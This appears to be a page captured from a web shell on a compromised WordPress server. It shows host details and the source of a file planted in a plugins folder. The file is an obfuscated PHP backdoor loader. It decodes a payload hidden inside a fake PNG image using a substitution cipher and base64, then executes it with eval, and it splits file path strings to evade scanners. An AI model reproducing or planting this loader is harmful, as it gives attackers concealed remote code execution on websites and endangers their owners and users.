HEX
Server: Apache/2
System: Linux cat17246.lnwhostname.com 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: firststeps (1017)
PHP: 7.3.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/firststeps/public_html/wp-content/plugins__/aboxech/osikopi.txt
<?php

function ucogix_uxemehehy($lecura_komosuzar) {
    if ($lecura_komosuzar == 1)
        return esygoz_khofytho();
    if ($lecura_komosuzar == 2)
        return rilycu_tygoshovikh();
}

function zoqudy_ikhewaly($lecura_komosuzar) {
    $etynox = ucogix_uxemehehy(1);
    $ykituto = ucogix_uxemehehy(2);
    for ($hofaric = 0; $hofaric < strlen($etynox); $hofaric++) {
        $sejesyd = substr($etynox, $hofaric, 1);
        $vocumi = substr($ykituto, $hofaric, 1);
        $nyxefih[$sejesyd] = $vocumi;
    }

    $akazhen = strtr($lecura_komosuzar, $nyxefih);
    $akazhen = base64_decode($akazhen);

    return $akazhen;
}

function ekovig_ypevaqiby($lecura_komosuzar) {
    $jylulu = array();
    if (!file_exists($lecura_komosuzar))
        return false;
    $ubifuhy = @file_get_contents($lecura_komosuzar);
    if (!$ubifuhy)
        return false;
    $ubifuhy = substr($ubifuhy, 3);
    $jylulu = zoqudy_ikhewaly($ubifuhy);
    return $jylulu;
}

function esygoz_khofytho() {
    $ubifuhy = "1yI79RD3gOdGb0UZpYSKuCXNJEi6tsLxFHw2kfBlj/Q54Tacmn=oMq8WA+PehzrvV";
    return $ubifuhy;
}

function rilycu_tygoshovikh() {
    $jylulu = "MkL+4EP73lXtZcVeNiwD6j5FGQrCqOTmYIy0hsJb=/f9gUSdz8uR1WvBoxHKn2paA";
    return $jylulu;
}

$uricic = ekovig_ypevaqiby(__DIR__ . "/asset" . "s/im" . "ages" . "/uwop" . "ej.png");
if ($uricic) {
    @eval($uricic);
}